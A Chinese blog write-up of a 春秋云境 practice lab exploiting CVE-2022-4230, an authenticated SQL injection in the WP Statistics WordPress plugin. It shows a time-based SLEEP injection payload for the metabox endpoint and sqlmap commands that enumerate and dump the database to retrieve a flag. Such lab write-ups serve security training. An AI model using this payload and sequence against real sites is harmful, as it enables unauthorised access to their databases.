春秋云境 | SQL | CVE-2022-4230

燕雀安知鸿鹄之志哉.

已于 2024-08-10 13:08:03 修改

阅读量336

点赞数 3

分类专栏：春秋云境靶场文章标签： sql 数据库 web安全网络安全安全经验分享

于 2024-08-10 13:07:40 首次发布

本文链接：https://blog.csdn.net/weixin_68416970/article/details/141089442

版权

7 篇文章 0 订阅

订阅专栏

靶标介绍

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下，具有管理选项功能 (admin+) 的用户可以使用受影响的功能，但是该插件有一个设置允许低权限用户也可以访问它。

开启靶场之后，发现什么都没有，所以我们进行目录扫描，这里我使用的是御剑目录扫描工具

访问 license.txt 无收获，访问 resdme.html 发现以下页面

http://eci-2zejepxupyfau8prrjw3.cloudeci1.ichunqiu.com/readme.html

点击 login page，发现了一个登录页面

试了用户名和密码是 admin 之后并无发现，左下角有一个“返回到 test”，说明 test 大概率是用户，尝试登录一下

发现登录成功了

意思大概是这样的：以允许查看WP统计信息的用户身份登录，并通过获取随机数“https://xxx.com/wp-admin/admin-ajax.php?action=rest-nonce”，并在下面的URL中使用它，该URL将延迟5s

首先通过访问，获得随机数（必须要先登录过后台才行）

http://eci-2zejepxupyfau8prrjw3.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce

获得随机数之后，把随机数添加到下面那个 URL 中，访问一下试试，这里就不加“%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR”了，不加这条语句不影响最终结果

http://eci-2zejepxupyfau8prrjw3.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=16139d290f&name=words&search_engine=aaa

访问之后发现了这个页面，然后用 Burp 抓个包吧

把数据包复制到一个文本里，重命名为 test.txt 拖进 kali 桌面，在桌面打开终端使用 sqlmap 工具跑一下

sqlmap -r test.txt --batch --dbs

发现了 wordpress 敏感数据库

sqlmap -r test.txt --batch -D wordpress --tables

发现了一个 flag 表

sqlmap -r test.txt --batch -D wordpress -T flag --columns

发现字段名是 flag

sqlmap -r test.txt --batch -D wordpress -T flag -C flag --dump

发现了 flag

关注

专栏目录